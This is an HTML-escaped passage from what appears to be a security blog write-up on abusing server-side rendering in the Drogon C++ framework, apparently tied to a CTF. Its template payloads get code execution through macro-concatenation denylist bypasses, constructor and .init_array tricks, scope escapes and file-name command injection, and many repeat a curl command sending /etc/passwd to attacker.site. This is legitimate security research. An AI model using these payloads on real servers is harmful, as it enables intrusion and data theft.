Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;safe.txt - other C++ code which gets a free pass, possibly using a technique above.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-label=&quot;safe.txt&quot; class=&quot;language-cpp&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-cpp&quot;&gt;&lt;span class=&quot;token function&quot;&gt;system&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;curl http://attacker.site --data @/etc/passwd&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span&gt;safe.txt&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;C++&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This allows us to bypass situations where, say, .csp files are strictly checked, but certain extensions are not checked at all.&lt;/p&gt;
&lt;p&gt;I&#39;ll admit this one slipped my mind; quite a few players discovered this unintended solution during the CTF.&lt;/p&gt;
&lt;h4 id=&quot;bypass-denylists-with-macro-token-concatenation&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/abusing-server-side-rendering-in-drogon/#bypass-denylists-with-macro-token-concatenation&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Bypass Denylists with Macro Token Concatenation (&lt;code&gt;##&lt;/code&gt;)&lt;/h4&gt;
&lt;p&gt;C/C++ macros have some quirky features:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;#&lt;/code&gt;: Converts a macro argument&#39;s value to a string.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-cpp&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-cpp&quot;&gt;&lt;span class=&quot;token macro property&quot;&gt;&lt;span class=&quot;token directive-hash&quot;&gt;#&lt;/span&gt;&lt;span class=&quot;token directive keyword&quot;&gt;define&lt;/span&gt; &lt;span class=&quot;token macro-name function&quot;&gt;STR&lt;/span&gt;&lt;span class=&quot;token expression&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;X&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; #X&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;// STR(abc) == &quot;abc&quot;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;C++&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;##&lt;/code&gt;: Joins two arguments.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-cpp&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-cpp&quot;&gt;&lt;span class=&quot;token macro property&quot;&gt;&lt;span class=&quot;token directive-hash&quot;&gt;#&lt;/span&gt;&lt;span class=&quot;token directive keyword&quot;&gt;define&lt;/span&gt; &lt;span class=&quot;token macro-name function&quot;&gt;GLUE&lt;/span&gt;&lt;span class=&quot;token expression&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;X&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; Y&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; X &lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;##&lt;/span&gt; &lt;span class=&quot;token expression&quot;&gt;Y&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token function&quot;&gt;GLUE&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;c&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; out&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;hello world!&quot;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;GLUE&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;e&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; ndl&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// cout &amp;lt;&amp;lt; &quot;hello world!&quot; &amp;lt;&amp;lt; endl;&lt;/span&gt;

&lt;span class=&quot;token macro property&quot;&gt;&lt;span class=&quot;token directive-hash&quot;&gt;#&lt;/span&gt;&lt;span class=&quot;token directive keyword&quot;&gt;define&lt;/span&gt; &lt;span class=&quot;token macro-name function&quot;&gt;GLUE2&lt;/span&gt;&lt;span class=&quot;token expression&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;X&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; X &lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;##&lt;/span&gt; &lt;span class=&quot;token expression&quot;&gt;_literally&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;GLUE2&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;var&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// int var_literally = 1;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;C++&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The second feature allows us to bypass denylists which only match full words.&lt;/p&gt;
&lt;p&gt;For instance, if a denylist blocks &lt;code&gt;system&lt;/code&gt;, we can do &lt;code&gt;GLUE(s, ystem)&lt;/code&gt;.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-csp&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-csp&quot;&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;%&lt;/span&gt;inc #define &lt;span class=&quot;token function&quot;&gt;GLUE&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;X&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; Y&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; X ## Y &lt;span class=&quot;token operator&quot;&gt;%&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;
&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;%&lt;/span&gt;c&lt;span class=&quot;token operator&quot;&gt;++&lt;/span&gt;
    &lt;span class=&quot;token function&quot;&gt;GLUE&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;s&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; ystem&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;curl http://attacker.site --data @/etc/passwd&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token operator&quot;&gt;%&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;C++ Server Pages&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;h3 id=&quot;3-rce-via-init-section&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/abusing-server-side-rendering-in-drogon/#3-rce-via-init-section&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; 3. RCE via Init Section&lt;/h3&gt;
&lt;p&gt;The previous tricks use &lt;code&gt;&amp;lt;%c++&lt;/code&gt; which only executes when the view is rendered. But what if I told you we can execute code &lt;em&gt;without even rendering the view&lt;/em&gt;?&lt;/p&gt;
&lt;p&gt;That&#39;s right, all we need is to load the .so to execute code!&lt;/p&gt;
&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;Code can be executed right after loading the .so binary.&quot; href=&quot;https://trebledj.me/img/posts/infosec/drogon-csp/assets/drogon-dynamic-view-loading-exec-on-init-457w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-60 alpha-imgv&quot; src=&quot;https://trebledj.me/img/posts/infosec/drogon-csp/assets/drogon-dynamic-view-loading-exec-on-init-457w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 457 / 564&quot; alt=&quot;Code can be executed right after loading the .so binary.&quot; title=&quot;Code can be executed right after loading the .so binary.&quot; srcset=&quot;https://trebledj.me/img/posts/infosec/drogon-csp/assets/drogon-dynamic-view-loading-exec-on-init-256w.webp 256w, https://trebledj.me/img/posts/infosec/drogon-csp/assets/drogon-dynamic-view-loading-exec-on-init-457w.webp 457w&quot; sizes=&quot;(max-width: 256px) 256px, 457px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p class=&quot;caption&quot;&gt;&lt;sup&gt;Using &lt;code&gt;&amp;lt;%c++&lt;/code&gt; will execute code when &amp;quot;View is Rendered&amp;quot;, but by strategically placing code in the &lt;code&gt;.init&lt;/code&gt; section of the binary, we can get code to execute right after loading the .so!&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;Let&#39;s look at a few examples of how we can achieve this tomfoolery.&lt;/p&gt;
&lt;h4 id=&quot;init-section-via-inc&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/abusing-server-side-rendering-in-drogon/#init-section-via-inc&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Init Section via &lt;code&gt;&amp;lt;%inc&lt;/code&gt;&lt;/h4&gt;
&lt;p&gt;There are various ways to run code prior to &lt;code&gt;main()&lt;/code&gt;. We can make use of the fact that &lt;code&gt;&amp;lt;%inc&lt;/code&gt; places code in file scope.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-csp&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-csp&quot;&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;%&lt;/span&gt;inc
&lt;span class=&quot;token comment&quot;&gt;// 1. Assign variable with function call.&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;int&lt;/span&gt; a &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;system&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;curl http://attacker.site --data @/etc/passwd&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;// 2. To run more code, we can create a function first.&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;foo&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;system&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;curl http://attacker.site --data @/etc/passwd&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;int&lt;/span&gt; b &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;foo&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;// 3. GCC attributes - gets called automatically.&lt;/span&gt;
&lt;span class=&quot;token function&quot;&gt;__attribute__&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;constructor&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;bar&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token function&quot;&gt;system&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;curl http://attacker.site --data @/etc/passwd&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;token operator&quot;&gt;%&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;C++ Server Pages&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;When compiled, all of this is placed in the &lt;code&gt;.init_array&lt;/code&gt; section, which allows multiple function pointers to be called during initialisation.&lt;/p&gt;
&lt;h4 id=&quot;escaping-function-scope-with-c-and&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/abusing-server-side-rendering-in-drogon/#escaping-function-scope-with-c-and&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Escaping Function Scope with &lt;code&gt;&amp;lt;%c++&lt;/code&gt; and &lt;code&gt;[[&lt;/code&gt;&lt;/h4&gt;
&lt;p&gt;Blocking &lt;code&gt;&amp;lt;%inc&lt;/code&gt; is not enough. Even with &lt;code&gt;&amp;lt;%c++&lt;/code&gt; and &lt;code&gt;[[&lt;/code&gt;, it is possible to escape function scope and insert a function in the top-level. This is partly by-design, so that like PHP, we can use C++ if-statements and for-loops to dynamically generate HTML. But we can also abuse this to escape the &lt;code&gt;genText()&lt;/code&gt; function.&lt;/p&gt;
&lt;p&gt;We demonstrate this with the following CSP:&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-label=&quot;Example.csp&quot; class=&quot;language-csp&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-csp&quot;&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;%&lt;/span&gt;c&lt;span class=&quot;token operator&quot;&gt;++&lt;/span&gt; 
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; 
&lt;span class=&quot;token function&quot;&gt;__attribute__&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;constructor&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;injected&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token function&quot;&gt;system&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;curl http://attacker.site --data @/etc/passwd&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
std&lt;span class=&quot;token double-colon punctuation&quot;&gt;::&lt;/span&gt;string &lt;span class=&quot;token function&quot;&gt;dummy&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; DrTemplateData&lt;span class=&quot;token operator&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    drogon&lt;span class=&quot;token double-colon punctuation&quot;&gt;::&lt;/span&gt;OStringStream Example_tmp_stream&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    std&lt;span class=&quot;token double-colon punctuation&quot;&gt;::&lt;/span&gt;string layoutName&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token operator&quot;&gt;%&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span&gt;Example.csp&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;C++ Server Pages&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;and here&#39;s the generated C++:&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-label=&quot;Example.cc&quot; data-copy-off=&quot;&quot; class=&quot;language-cpp&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-cpp&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// Boilerplate: includes...&lt;/span&gt;
std&lt;span class=&quot;token double-colon punctuation&quot;&gt;::&lt;/span&gt;string &lt;span class=&quot;token class-name&quot;&gt;Example&lt;/span&gt;&lt;span class=&quot;token double-colon punctuation&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;genText&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; DrTemplateData&lt;span class=&quot;token operator&quot;&gt;&amp;amp;&lt;/span&gt; Example_view_data&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    drogon&lt;span class=&quot;token double-colon punctuation&quot;&gt;::&lt;/span&gt;OStringStream Example_tmp_stream&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    std&lt;span class=&quot;token double-colon punctuation&quot;&gt;::&lt;/span&gt;string layoutName&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
 
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; 
&lt;span class=&quot;token function&quot;&gt;__attribute__&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;constructor&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;injected&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token function&quot;&gt;system&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;curl http://attacker.site --data @/etc/passwd&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
std&lt;span class=&quot;token double-colon punctuation&quot;&gt;::&lt;/span&gt;string &lt;span class=&quot;token function&quot;&gt;dummy&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; DrTemplateData&lt;span class=&quot;token operator&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    drogon&lt;span class=&quot;token double-colon punctuation&quot;&gt;::&lt;/span&gt;OStringStream Example_tmp_stream&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    std&lt;span class=&quot;token double-colon punctuation&quot;&gt;::&lt;/span&gt;string layoutName&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;token comment&quot;&gt;// Boilerplate: convert stream to string and return....&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span&gt;Example.cc&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;C++&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;The same idea goes for variable markup &lt;code&gt;[[...]]&lt;/code&gt;, the only difference being whitespace is not allowed.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-csp&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-csp&quot;&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;h1&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;Hi &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;name&lt;span class=&quot;token string&quot;&gt;&quot;];}}__attribute__((constructor))void/**/injected(){system(&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;);}std::string/**/dummy(const/**/DrTemplateData&amp;amp;data){drogon::OStringStream/**/Example_tmp_stream;std::string/**/layoutName{&quot;&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;};{auto&amp;amp;val=data[&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;/&lt;/span&gt;h1&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;C++ Server Pages&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Likewise for &lt;code&gt;&amp;lt;%layout&lt;/code&gt; and &lt;code&gt;&amp;lt;%view&lt;/code&gt;. (Left as an exercise for the reader.)&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;Thought that was the worst we could do? It gets worse.&lt;/p&gt;
&lt;h3 id=&quot;4-rce-via-file-name&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/abusing-server-side-rendering-in-drogon/#4-rce-via-file-name&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; 4. RCE via File Name&lt;/h3&gt;
&lt;p&gt;Remember how Drogon runs &lt;code&gt;drogon_ctl&lt;/code&gt; to convert .csp files to .cc files? Guess how this command is run.&lt;/p&gt;
&lt;p&gt;That’s right, &lt;code&gt;system()&lt;/code&gt; is &lt;a href=&quot;https://github.com/drogonframework/drogon/blob/637046189653ea22e6c4b13d7f47023170fa01b1/lib/src/SharedLibManager.cc#L169&quot;&gt;called&lt;/a&gt;. And since the CSP file name can be pretty much anything — subject to Linux’s file path conditions — we can inject arbitrary commands and achieve RCE!&lt;/p&gt;
&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;Malicious code can be executed when `drogon_ctl` is run using the filename.&quot; href=&quot;https://trebledj.me/img/posts/infosec/drogon-csp/assets/drogon-dynamic-view-loading-exec-on-filename-549w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-70 alpha-imgv&quot; src=&quot;https://trebledj.me/img/posts/infosec/drogon-csp/assets/drogon-dynamic-view-loading-exec-on-filename-549w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 549 / 564&quot; alt=&quot;Malicious code can be executed when `drogon_ctl` is run using the filename.&quot; title=&quot;Malicious code can be executed when `drogon_ctl` is run using the filename.&quot; srcset=&quot;https://trebledj.me/img/posts/infosec/drogon-csp/assets/drogon-dynamic-view-loading-exec-on-filename-256w.webp 256w, 